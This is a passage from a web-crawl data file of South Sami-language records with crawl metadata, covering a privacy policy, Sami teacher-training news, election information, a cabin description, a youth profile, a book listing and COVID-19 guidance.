aaj maehtedh segmenteradidh dagkerh persovneprofijlh tjïertestamme segemeenti sïjse. E-skuvle dam dorje juktie maehtedh mijjen sisvegem sjïehtedidh, annonsh jïh maarhkededoekemegyhtjelassh sjïerelaakan dutnjien stuvredh jïh maehtedh mijjen digitaale bæjhkoehtimmieh jïh ektiedamme dïenesjh guhkiebasse evtiedidh.\n3.2 Maarhkededoekeme\nE-skuvle persovnebïevnesh nuhtjie juktie dutnjien bïevnesh jïh maarhkededoekemem vedtedh bæjhkoehtimmiej jïh dïenesji bïjre mejstie datne maahtah ïedtjem utnedh, baseradamme dejtie bïevnesidie datne jïjtje leah vadteme jallh dej bïevnesi mietie E-skuvle lea sïjse tjöönghkeme åtnoen tjïrrh mijjen digitaale dïenestijstie (persovneprofijlh)\nJis datne leah jallh dongkije orreme, pryövedongkije jallh leah utnijeprofijlem jeatjahlaakan registreradamme, vuesiehtimmien gaavhtan saernieprievieh åadtjodh, leah maahteme krïevenassi tjïrrh jååhkesjamme elektrovneles govlesadtemem jïh maarhkededoekemem dåastodh goh åestije, jïh SM maahta dellie govlehtimmieh seedtedh dan jååhkesjimmien mietie maam vadteme. E-skuvle maahta aaj dutnjien maarhkededoekemem elektrovneles seedtedh, goh e-påaste jïh sms, dej krïevenassi mietie mah leah sïejhme laaki mietie, goske datne jïjtje beavnah datne ih vielie dagkeres govlesadtemem sïjhth. Maahtah saaht gåessie veeljedh jïjtjemdh reserveradidh dagkeres govlehtimmiej vööste.\nJis ih leah utnijeprofijlem mijjen luvnie registreradamme jallh dov gaskesedaatah såårneme goh åestije, E-skuvle sæjhta ajve saernieprievieh jïh elektrovneles maarhkededoekemem seedtedh jis datne sjïerelaakan leah jååhkesjamme dagkerh govlehtimmieh dåastodh.\n4 DEELLEME PERSOVNEBÏEVNESIJSTIE\nPersovnebïevnesh E-skuvle dov bïjre åtna maehtieh deellesovvedh jeatjah sïeltide mijjen konsernen sisnjelen, jïh aaj dejtie sïeltide mah latjkoen mietie mijjine, dam teknihkeles jallh reereles barkoem utnieh mijjen digitaale bæjhkoehtimmijste jïh ektiedamme dïenestistie. Gosse E-skuvle gåalmedeguejmide luhpiem vadta persovnebïevnesidie naemhtie, E-skuvle gorrede daah gåalmedeguejmieh mijjen krïevenassh gïetedimmien bïjre persovnebïevnesijstie jïh sïejhme laakijste steerieh. Persovnebïevnesh maehtieh aaj vadtasovvedh dastegh daate lea luhpies laaken mietie, jallh E-skuvle stillesåvva dam darjodh aktede riekteste jallh jeatjah byögkeles åejvieladtjeste.\nE-skuvle maahta gåalmedeguejmide luhpiem vedtedh akkumuleradamme jïh tjeakoes daatide.\n5 E-skuvlaGÏETEDIMMIE PERSOVNEBÏEVNESIJSTIE\nAjve autoriseradamme barkijh Morgenbladet-plaerien luvnie luhpiem åtna dov persovnebïevnesidie. Luhpie persovnebïevnesidie lea gorredamme luhpiekontrolline jïh tjeakoesbaakojne. E-skuvle avanseradamme teknologijem nuhtjie juktie heerredidh olles luhpehts almetjh mijjen systeemi sïjse båetieh.\nE-skuvle tjaaleldh ruvtijnh åtna sisnjeldskontrollese jïh bïevnesejearsoesvoetese juktie gorredidh jïh vihtiestidh mijjen gïetedimmie persovnebïevnesijstie lea sïejhme laaki mietie.\nDov persovnebïevnesh sijhtieh ajve vöörhkesovvedh dan guhkiem mijjieh saakeles daerpiesvoetem utnebe dam darjodh daan persovnebæjhkomen jïh sïejhme laaki mietie. Gosse saakeles daerpiesvoete ij vielie gååvnesh, sijhtebe bïevnesidie hiejhtedh jallh dejtie tjeakoes darjodh.\n6 DOV REAKTAH\nDov lea iktesth reaktah vuejnedh doh bïevnesh mah leah dov bïjre registreradamme, jïh maahtah staeriedimmiem jïh hiejhtemem krïevedh sïejhme laaki mietie.\n7 JARKELIMMIEH DAEHTIE PERSOVNEVAARJELIMMIEBÆJHKOEMISTIE\nE-skuvle maahta daam persovnevaarjelimmiebæjhkomem revideradidh gosse gïetedimmie persovnebïevnesijstie jorkese, jallh gosse revisjovne lea daerpies jarkelimmiej gaavhtan sïejhme laakine. Gosse E-skuvle jarkelimmieh dorje daennie bæjhkoemisnie E-skuvle sæjhta revisjovnedaatovem daennie sæjrosne jarkelidh, jïh dïhte jarkelamme persovnevaarjelimmiebæjhkome faamoem åådtje minngemes revisjovnebiejjien raejeste. E-skuvle sæjhta jarkelimmide hijven våajnoes darjodh, men juvnehtibie datne jaabnan persovnevaarjelimmiebæjhkomem lohkh gosse mijjen digitaale vuekieh vaaksjoeh. Lissine sijhtebe tjaavhkodh aarebi versjovnh persovnevaarjelimmiebæjhkoemistie aktene våarhkosne, guktie datne maahtah dejtie aelhkieslaakan åadtjodh.\n8 GOVLEHTIMMIEH\nJis sïjhth vielie bïevnesh åadtjodh mijjen gïetedimmien bïjre persovnebïevnesijstie, maahtah mijjem gaskesadtedh daesnie firstname.lastname@example.org\n9. ABC-Company E-skuvla AS\nÁjaluodda 34, 9730 Karasjok\nEpost: email@example.com\nSist oppdatert 09.10.2019","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.abc-company.no\/gdpr\/","date":"2021-10-27T19:52:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588242.22\/warc\/CC-MAIN-20211027181907-20211027211907-00134.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":925,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Preassadieđáhus | Almmustahtton: 17.02.2018| Nr: 26 – 18\n– Dej minngemes luhkieh jaepiej jienebh learohkh sijhtieh julevsaemiengïelem lïeredh, jïh låhkoe båetije aejkien læssene. Guktie nuekies lohkehtæjjah åådtje gïeh maehtieh saemien gïelide lïerehtidh, reerenasse daelie barkoem dåarjohte jienebh lohkehtæjjah åarjelsaemien jïh julevsaemien 2,5 millijovnh kråvnajgujmie, maahtoe- jïh integreeremeministere Jan Tore Sanner jeahta.\nDej båetije luhkie jaepiej mietie daarpesje vielie lohkehtæjjide ööhpehte dovne julevsaemien jïh åarjelsaemien. Jis eah jienebh lohkehtæjjah dejnie gïelefaagine, dellie vaahrese båetedh eah learohkh åadtjoeh sov reaktam saemien ööhpehtimmesne jaksedh. Dïhte lea Ööhpehtimmiedirektoraate mij barkoem åådtje öörnegem evtiedidh mestie jienebh åarjel- jïh julevsaemien lohkehtæjjaööhpehtimmide luhkie. Öörnegen ulmiedåehkieh leah lohkehtæjjah gïeh joe skuvlesne berkieh, men maahtoem fååtesieh, jïh ohtsijh maadthskuvleööhpehtæmman. Nord universiteete lea aalkeme faalenassem evtiedidh lohkehtæjjaööhpehtimmesne åarjel- jïh julevsaemiengïelide.\nDaate orre öörnege lissine båata öörnegasse dïsse 210 000 kråvnah studijelaajkoste tjeavadidh, studeentide gïeh maadthskuvlelohkehtæjjaööhpehtimmiem vaeltieh saemiengïeline faagegievlesne.\nReerenasse aaj dåarjohte lohkehtæjjah gïeh sijhtieh gïengielåbpoe saemien gïeline lohkedh maehtieh lissieööhpehtimmiem ohtsedidh åvteli njoktjen 1.b. Dah ohtsijh sjidtieh prioriteradidh seamma vuekine goh matematihke, daaroengïele, englaantengïele jïh daaroen væhtagïele.\nSaemien learohkh reaktam utnieh saemiengïelem lïerehtidh. Gaajhkh saemien gïelh leah tjïelkestamme goh håvhtadihks gïelh. Tsiehkie åarjel- julevsaemien gïelese lea joekoen laejhtehks.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.regjeringen.no\/se\/dokumeantavuorka\/solberga-raehus\/aktuelt-regjeringen-solberg\/aigeguovdil3\/pressemeldinger\/2018\/sajhta-jienebh-aarjelsaemien-jih-julevsaemien-lohkehtajjah\/id2588783\/","date":"2021-10-19T00:18:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585215.14\/warc\/CC-MAIN-20211018221501-20211019011501-00438.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":179,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åtnoe saemien kultuvrevuekijste gærhkosne: Mij akt goerpenhaallan vualka? Såemies bijjemes refleksjovnh\nTore Johnsen (prosjektemeatanbarkije VID jïh PhD kandidaate, University of Edinburgh).\nSoptsestalleme åtnoen bïjre saemien tjeahpoe- jïh kultuvrevuekijste gærhkosne\nRagnhild Strauman (kultuvreraeriestæjja Åarjel-Hålogalaanten bïspedajvesne), Mikkel Eslkil Mikkelsen (saemiedigkieraerie jïh kantovre) jïh Line M. Skum (universiteetelektovre, VID).\nSaemien gyrhkesjimmesne – maam dorje, guktie ussjede?\nKarl Yngve Bergkåsa (noerhtesaemiej stiftskapellaane jïh saemien gærhkoejieleden raeriestæjja Noerhte-Hålogalaanten bïspedajvesne).\nDuedtie gyrhkeles ektiedimmesne\nMeerke Krihke Leine Bientie (Saemien Åålmegen jaahkoe-ööhpehtæjja).","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kirken.no\/nb-NO\/om-kirken\/slik-styres-kirken\/samisk-kirkeliv\/adasa---nyheter\/samisk%20kirkelivskonferanse%202020\/filmene\/filmh\/","date":"2021-10-28T01:30:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588246.79\/warc\/CC-MAIN-20211028003812-20211028033812-00664.warc.gz","language":"sma","language_score":0.9977379441,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9977379441261292}","num_words":73,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme Støøvesvuaman jih Støøvesgaertnasse.\nÅarjeseSami, åenehks vuejeme-laajroe Gaaloeste, lea Støøvesvuemie. Daate lea jaksoes dajve dovne giesegen jih dalvegen. Buerie væjroe- jih gøølemenuepieh jih daesnie muerjie- jih goebpere eatneme, dan dajvese njaahtjoeh. Støøvesjohke vagkien mietie galkaminie jih gåabpegen bielesne faamehke vaerie. Dah tsiehkehks vaerie lea Kvitfjellet (1248 mmb) jih Blåfjellet (1293 mmb).\nVuemien histovrije vuesehte almetjh lea mahte 200 jaepie Støøvesgaertesne orreme jih båatsoeburrie guhkies tradisjovne daesnie åtna. Vaeknie-saadtesimmie nubpie veartene dåaroesne jih dah geerve deahpadimmie mænngan lea iktesth dan dajvese tjarki gåvlestamme.\nGiesegen Støøvesgaertene lea ajve 300 m bijlegeajnoste. Dalvegen lea 6 km baeleme-geajnoeste gaertenasse tjoejkedh. Ij gie leah gaertenisnie orreme jaepien 1948'n juassah. Gåetieh maah lin daesnie eah vielie gååvnesh, bene Støøvesvuemien voelph lea daelie gaertenem vihth bigkeminie. Nuepiem disse gosse almetjh baalhkehth barkeminie jih beetneghvadtesh åadtjoeh. Åejviegåetie lij tjaktjen 2007 riejries.\nMaahta gåetiem leejjedh. Båassjoe lea rihpes jih maahta nuhtjedh gosse ij naan gåetiem leejjieh. Voestes etasjesne lea aaj ståapoe, kåava jih ohtje åereme-tjiehtjele. Laptesne lea golme åereme-tjiehtjelh jih iktebiejeme ståapoe jih åereme-tjiehtjele. Desnie lea 14 seangkoeh. Gåetien ålkoelisnie lea stoerre jih hierven dålle-sijjie. Støøvesgaertenen lihke lea kultuvredajve mij joekoen rihpesne.\n2 km baalkaraeikien gaertenistie, dellie Støøvesjaavran båatah. Daesnie lea dålle-sijjie jih lieph-bielie. Støøvesjaevreste Støøves-sieterasse lea 2 km. Sietere-ientjesne lea onne timpere-hæhtjoem tseegkeme. Ij leah leeseldahkesne, jih desnie lea gøøkte seangkoeh gusnie maahta jijjedidh.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/stavassdalen.no\/samisk\/","date":"2021-10-24T06:03:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585911.17\/warc\/CC-MAIN-20211024050128-20211024080128-00608.warc.gz","language":"sma","language_score":0.9999606609,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"sma_Latn_score\": 0.9999606609344482}","num_words":208,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis edtjebe jeatjah almetjh jaehkiehtidh, dellie vielie daarpesjibie goh hijven argumeenth. Mijjieh tjoerebe aaj vååjnedh jïh govledh goh ussjedammes, tjoerebe etosem utnedh. Mijjen barkoe jïh faageles våarome maehtieh mijjese autoriteetem vedtedh.\nVuesiehtimmie\nLohkije-tjaalegisnie Nihtieh kreeke-pryövenassh! tjaelije darjohte goh satne akte tjirkije Verdaelien Kreekevaarjelimmie-siebrien åvteste. Dan åvteste lohkije dïsse jaahka gosse tjaelije jeahta satne tuhtjie aamhtese lea vihkeles, jïh destie aktem vihties faageles autoriteetem åådtje. Lohkije aervede tjaelije hijven daajroeh teeman bïjre åtna gosse lea meatan dagkeres siebresne.\nEtosem mubpijste löönedh\nGosse dotkeme-reektehtsidie jallh lahtestimmide vuesiehtibie mejtie maehteles almetjh leah buakteme mijjen argumentasjovnesne, dellie seamma tïjjen autoriteetem löönebe dejstie faagealmetjijstie mah leah dotkeme jïh tjaaleme. Mijjieh jeatjah baakoejgujmie jïjtjene ussjedammesvoetem lissiehtibie gosse vuesiehtibie dïsse maam dah leah tjaaleme. Reklaame-annonsine gaavnebe \"etos-löönemh\" gosse lohkebe madtjeles utniji bïjre mah aktem dorjesem juvnehtieh maam dah leah pryöveme. Åestijh aktem \"sïejhme almetjem\" aelhkebe leajhtede goh aktem produseentem, maam dah daejrieh sijhtieh ajve doekedh.\nBaakoeh\nSaemien\nDaaroen\nussjedammesvoete\ntroverdighet","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ndla.no\/subject:1:b8a448f0-e251-41ea-af1c-b2fd62a89828\/topic:6:172880\/topic:6:182050\/resource:1:172899","date":"2021-10-26T08:48:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587854.13\/warc\/CC-MAIN-20211026072759-20211026102759-00278.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":153,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 24 March 2020\nVeeljeme Saemiedægkan\nVeeljeme Saemiedægkan lea gåalmeden aejlegen suehpeden fïerhten njealjeden jaepie.\nGaajhkh saemieh mah bæjhkoehtamme jïh meatan tjaatsestimmielåhkosne veeljemen åvteste Saemiedægkan åadtjoeh tjaatsestidh.\nGolme åejvieladtjh veeljemem gïetedieh\nDah administratijven barkoe-laavenjassh veeljemisnie Saemiedægkan leah juakeme dejtie golme åejvieladtjide:\n- Saemiedigkien veeljememoenehtse\n- Leeneståvroe Norrbottenen leenesne\n- Veeljemeåejvieladtje\nSaemiedigkien veeljememoenehtse\nLeeneståvroe Norrbottenen leenesne\nLeeneståvroe Norrbottenen leenesne dïedtem åtna gaskem jeatjah minngemes ryöknemen åvteste jïh nænnoste jis naakenh annjebodts tjaatsestimmielåhkoem laejhtieh.\nVeeljemeåejvieladtje\nVeeljemeåejvieladtje iktedimmiedïedtem åtna veeljemen gaavhtan jïh dan dïedte gaskem jeatjah tjaatsestimmiekåarhki åvteste, dåehkie, krirrieh jïh seammaligke dåehkieh jïh dej kandidaath tjaalasovvedh jïh veeljemesïetelh trygkesåvva.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemeoornege\/saemiedigkie.html","date":"2021-10-16T15:07:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323584886.5\/warc\/CC-MAIN-20211016135542-20211016165542-00432.warc.gz","language":"sma","language_score":0.9999879599,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.9999879598617554}","num_words":92,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålma lea tsevtsiedæjja aarvoesjugniedæmman jïh evtiedæmman beapmoedorjemassesne. Beapmoedorjemasse edtja utniji vaajtelh jearsoes beapmoen, kvaliteeten, gellievoeten jïh byjresevietseles dorjemassen bïjre gorredidh. Seamma aejkien dle beapmoedorjemasse tjuara gaahtjedihks årrodh jïh maarkeden vööste stuvreme. Fylhkenålma dåarjoeöörnegh reerie dovne dorjemassese, deallahtæmman, maarkededoekemasse jïh doekemasse.\nJielemeevtiedimmie beapmoedorjemassen sisnjelen lea gaskem jeatjah ektiedamme voenges beapmoekultuvrese jïh voenges sjïere beapmose , turisme jïh fealadimmie, beapmoekvaliteete, healsoe jïh maahtoe.\nDaennie evtiedimmiebarkosne Fylhkenålma laavenjostoe jeatjah staateles etaatigujmie, Innovasjovne Nöörje, fylhkentjïelth, tjïelth jïh ovmessie siebrieh.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.statsforvalteren.no\/sma\/vestfold-og-telemark\/laanteburrie-jih-beapmoe\/beapmoe\/","date":"2021-10-25T03:15:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587623.1\/warc\/CC-MAIN-20211025030510-20211025060510-00190.warc.gz","language":"sma","language_score":0.999925375,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 0.9999253749847412}","num_words":74,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Ida Emelie Marakatt Lindseth jïh manne19 jaepien båeries. Manne Lillestrømesne byjjenamme, lïhke Oslon ålkolen. Manne daanhtsojne gïehtelamme mænngan lim joekoen onne, jïh dïhte iktesth mov stoerre ïedtje orreme. Manne daejnie gïehtelamme jïh gaahtjeme suerkiej sisnjeli Freestyle jïh Disco Dans elitedaltesisnie Nöörjesne jïh ålkoelaantesne, jïh manne eadtjohke aarkebiejjiem lyjhkem.\nGåabpegh mov eejhtegh saemien dajvijste båetieh, tjidtjebe Gárasavvonistie (Karesuando) jïh aehtjebe Karasjohkeste, men jïjtje leam staarebyjresisnie byjjenamme. Byjjenimmien im leah saemiestamme, men veeljim saemien gïeleööhpehtimmine nedtesne aelkedh gosse jåarhkeskuvlem eelkim. Daanhtsoen baalte leam eadtjohke meatan noereorganisasjovnesne Noereh, mij munnjien akte såarhts tjaangemeokse don saemien seabradahkese jïh vearman stoerrestaaresne.\nGosse leam veeljesovveme goh akte dejstie daan jaapetje tsïeglijste, dellie dïhte joekoen luste. Manne tjarke aavodem jïjtje lïeredh jïjnjene kultuvren bïjre, jïh ij goh unnemes bïjre jarkan laantesne fealadidh jïh daam daajroem jeatjabidie geerjehtidh goh tjirkijh dan saemien åvteste. Manne gegkestem jienebi dajvigujmie åahpenidh dovne Saepmesne jïh jeatjah bieline Nöörjesne, jïh aavodem orre almetjh råakedh. Vïenhtem manne sïjhtem jïjnjem lïeredh daehtie jaepeste gusnie dovne haestemh, men aaj åajvoeh dååjresh jïh dååjrehtimmieh.\nSåemies sneehpes saetniesvoeth\nMïsse jeenjemes aavodh daejnie tsïeglejaepine?\nManne aavodem ovmessie dajvine jïh skuvline mïnnedh laantesne. Ïedtjije sjædta govledh mïsse learohkh jïh jeatjebh onterdieh, jïh mejtie dagke haestije gyhtjelassh åadtjobe vaestiedidh.\nMaam tuhtjh vihkielommes noerh Nöörjesne byöroeh saemiej bïjre daejredh?\nTuhtjem dïhte vihkielommes maam noerh byöroeh saemiej bïjre daejredh lea mijjieh ibie veasoeh naemhtie guktie mijjen maadteraahkah jïh maadteraajjah veasoejin 100 jaepiej juassah. Ibie låavthgåetesne årroeh jïh eah gaajhkesh bovtsh utnieh.\nBööremes raerie jïengem tsööpkedh?\nSaepmesne; goerehth mejtie dijjieh lidie slïektesne. Jeatjah lehkesne; gïehtjedh mejtie dijjieh naan ektie voelph Facebookesne jïh Instagramesne utnede.\nMaam 10 jaepine darjoeh?\n10 jaepine gegkestem manne eantan vielie veartenistie dååjreme, jïh dagke gaskenasjonaale orgaanesne barkeminie jienebi kultuvrigujmie. Lij joekoen gieltege orreme vuesiehtimmien gaavhtan ålkoerïjhkedïenesjen åvteste barkedh diplomatijine, jallh aalkoeåålmegereereminie jïh reaktajgujmie.\nMaam lih sïjhteme meatan vaeltedh akten aevries såålese jïh man åvteste?\nHijven peanna jïh jassijs tjaelemegærja! Dellie maahtam gærjam tjaeledh maam dagke naan jeatjebh sijhtieh gaavnedh jïh lohkedh mænngan.\nGie dov saemien åvteguvvie jïh man åvteste?\nMov saemien åvteguvvie lea Agnete Saba. Dïhte dan joekoen væjkele laavloje, jïh annje daan biejjien lyjhkem «Oro jaska beana», men dïhte åvteguvvine munnjien sjïdteme dan åvteste lea ræhpas sov psykiske haestemi bïjre karrijeeresne. Tuhtjem aaj dïhte lij joekoen mavvas gosse sov saemien minngienommem Saba veelti.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/ida-emilie-marakatt-lindseth-3\/","date":"2021-10-24T15:34:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323586043.75\/warc\/CC-MAIN-20211024142824-20211024172824-00086.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":373,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nBarnebok oversatt fra \"Ii hal Ruohttaraidu lea johtan goseg\" til sørsamisk. Hvilke naturfenommen forekommer i mørketida og hvordan forholder man seg til dem?\nJemhkeldstïjje – saemien jemhkeldstïjjesoptsesh\nDïhte tjïjhtjen jaepien båeries baernie skuvleste båata. Dïhte geerjene ihke jemhkeldstïjje haavketjh daesnie. Altese hïejmesne doh båeries saemien jemhkeldstïjjen aerpievuekieh annje tjarke jielieminie. Men skuvle lea aadtjen jåvlen aerpievuekiejgujmie barkeme. Baernie ij jïjtjemse damtijh daejnie aerpievuekine. Dïhte giefies jïh aerpievuekehts domtoe.\nMen mij aerpievuekie? Tjuara skuvlen learoegærjine tjåadtjodh jallh skuvle tjuara dan bïjre soptsestidh juktie aerpievuekine årrodh?\nBaernie vaestiedassem dïsse gaavna. Dïhte aaj gaavnehte guktie edtja darjodh olles nuerebe åerpenh dam seamma dååjresem åadtjoeh goh satne, aerpievuekehts damtedh dan åvteste gaajhke ij gærjesne tjåadtjoeh. Sov orre daatovrisnie gaajhkem tjaala maam sov aerpievuekien bïjre daajra.\nIjje, Stroehteraajroe ij leah mijjem laahpeme.\nSpesifikasjoner:\nForlag: Skániid gijrjie\nSpråk: Sørsamisk\nOversetter: Ellen Jonassen\nISBN: 9788291973708","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/nettbutikk.saemiensijte.no\/product\/10641","date":"2021-12-02T22:10:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362297.22\/warc\/CC-MAIN-20211202205828-20211202235828-00428.warc.gz","language":"sma","language_score":0.9999196529,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999196529388428}","num_words":137,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Utnieh gåhkoem jïh aellieh årroeh gusnie jïjnjh almetjh\nUtnieh gåhkoem mubpide dovne gåetiej sisnie jïh ålkone, jïh aellieh årroeh gusnie jïjnjh almetjh.\nSjïere vihkeles gosse mubpieh guhkiem råahkh jïh gosse dijjieh gåetien sisnie.\nAellieh sijjine årroeh goh vuesiehtimmieh bovresne, åesiestimmiejarngesne jïh\nkollektijvevalkesinie vuelkieh jis jïjnjh almetjh desnie.\nÅrroeh gåetesne jïh teestem vaeltieh jïlhts dov leah lijnies vaejvieh\nMaanah jïh geerve almetjh gïeh skïemtjes demtieh edtjieh gåetesne årrodh barkoste, skuvleste, aarhskuvleste jïh jeatjah darjoemistie. Daate faamosne aaj jis dov lijnies vaejvieh. Datne edtjh aaj teestem vaeltedh jïh aellieh mubpide gaavnedh.\nDatne maahtah vielie lohkedh mah faamosne gusnie datne årrominie 1177.se:sne.\nBarkh gåetesne jis maahtah\nFolkhälsomyndigheten raereste gaajhkh gïeh maehtieh edtjieh gåetesne barkedh. Soptsestellieh dov barkoevedtiejinie nuepiej bïjre gåetesne barkedh. Dïhte vihkeles barkoevedtije dïedtem vaalta barkoebyjresen åvteste aaj gosse gåetesne barkh.\nAellieh laanesth vuj laanestamme sjïdth gosse gaavnesjidie\nGosse jeatjah almetjh råakh enn dejtie dov lïhkemes gaskesidie byörh geehtedidh guktie laanestimmiem gaertjedh.\nHöölth gåhkoem mubpide, aaj gåetien sisnie. Årroeh ålkone jïh unnebe tjïertine, aellieh mubpide råakh jis dov symptomh.\nVaksineerh datnem gosse faalenassem åadtjoeh\nVaksinasjovne vaahram vaenede guktie covid 19:ste itjmies skïemtjedidh vuj jaemedh. Dïhte aaj laanestimmiem gaertjede. Gaajhkh båarasåbpoe 18 jaepeste åadtjoeh vaksinasjovne-faalenassem. Aaj soejkesje noeride 16-17 jaepien båeries vaksijnem faala.\nFolkhälsomyndigheten webbesijjesne bïevnesh gååvnesieh vaksinasjovnen bïjre. Dïhte jïjtjevyljehke jis sïjhth vaksineeredh mohte Folkhälsomyndigheten raereste datne gie maahtah, edtjh vaksinasjovnese jååhkesjidh. 1177.se:sne maahtah lohkedh guktie vaksinasjovnem öörnie gusnie datne årroeh.\nVuelkieh guktie ih laanesth vuj laanestamme sjïdth\nDatne byörh vuelkedh guktie laanestimmievaahram vaeniedidh. Veeljh jis maahtah vaedtsedh, sygkeldidh vuj bïjlem vuejedh sijjeste kollektijvevalkesinie vuelkedh gusnie ih maehtieh sijjiem dængkodh.\nJis guhkebe vualkah jïh orre almetjh desnie råakh, ussjedh gåhkoem hööltedh jïh ålkone gaavnesjidh.\nDatne aaj byörh soejkesjidh guktie maahtah oktegh desnie årrodh vuj gåatan vuelkedh vuekine gosse ih laanestimmiem geerjehth jis covid-19:n symptomh åadtjoeh.\nJis mubpide laantide vualkah tjoerh daejredh jis laanestimmie dennie laantesne jïh mah njoelkedassh jïh restriksjovne desnie faamosne jïh gosse gåatan båatah.\nBïssh gïetide daamtaj\nLaanestimmieïebnh aelhkieslaakan gïetide dabranieh. Dah maehtieh vijrebe geerjehtidh gosse datne vuesiehtimmien gaavhtan gïetine buarastahtah. Bïssh dan gaavhtan gïetide daamtaj jïh veelelaakan tjoeline jïh baahkes tjaetsine, unnemes 20 sekundh.\nBïssh gïetide eejnegen gosse datne:\n- gåatan båatah vuj gosse dov barkose båatah\n- ålkone orreme\n- beapmoej åvtelen\n- beapmoem gïetedh\n- onnegåetesne orreme\nGïetesprïjhte (vuj seammaleejns gïetedesinfeksjovne) maahta alternatijve årrodh jis ih maehtieh gïetide bïssedh.\nAellieh tjelmide, njueniem jïh njaelmiem doehtehth guktie ij suetie dov njevlieskïelti gåajkoe båetieh. Dïhte aaj vihkeles gossehtidh jïh gesniestidh gïetegaavese vuj paehperenjaamelijnesne.\nDåemedh eejnegen laanestimmievihties\nDatne tjoerh darjodh maam maahtah darjodh guktie datnem jïh mubpide covid-19:n geerjehtimmien vööste. Datne edtjh jïjtje ussjedidh guktie maahtah dåemiedidh guktie ih sjïdth laanestidh, guktie gåhkoem höölth jïh guktie maahtah dåemiedidh guktie ih mubpide laanesth. Datne edtjh mubpide krööhkestidh. Sjïere vihkeles almetjidie vaahradåehkine.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.folkhalsomyndigheten.se\/smittskydd-beredskap\/utbrott\/aktuella-utbrott\/covid-19\/om-covid-19-pa-olika-sprak\/sydsamiska\/","date":"2021-12-07T08:36:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363337.27\/warc\/CC-MAIN-20211207075308-20211207105308-00004.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 